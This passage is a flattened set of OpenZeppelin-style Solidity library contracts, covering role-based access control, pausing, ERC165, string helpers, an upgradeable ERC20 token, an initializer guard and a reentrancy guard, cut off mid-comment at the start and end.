best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off 